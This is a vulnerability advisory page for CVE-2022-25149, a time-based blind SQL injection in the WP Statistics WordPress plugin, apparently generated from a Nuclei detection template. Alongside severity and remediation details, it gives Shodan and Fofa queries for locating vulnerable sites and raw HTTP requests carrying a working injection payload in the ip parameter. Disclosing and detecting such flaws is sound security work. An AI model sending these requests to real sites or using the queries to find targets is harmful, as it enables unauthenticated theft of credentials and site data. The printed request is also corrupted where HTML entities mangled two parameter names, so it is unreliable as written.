| Title | WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | Unauthenticated attackers can execute time-based blind SQL injection through the IP parameter to extract sensitive database information including user credentials, posts, comments, and WordPress configuration data. |
| Remediation | Update WP Statistics plugin to version 13.1.6 or later that properly escapes and parameterizes the IP parameter. |
| CVSS Score | 7.5 |
| EPSS Score | 0.73381 |
| CVE ID | CVE-2022-25149 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/wp-statistics/ |
| Fofa Query | body=/wp-content/plugins/wp-statistics/ |
| Tags | time-based-sqli cve2022 cve sqli wpscan wordpress wp-plugin wp wp-statistics veronalabs vuln |
The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the IP parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce=7Afovw&wp_statistics_hit_rest&browser&platform&version&referred&ip='-sleep(6)-'&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id=0&search_query&page_uri=/&user_id=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2; es-es) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25149.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-25149.pcap
N/AN/A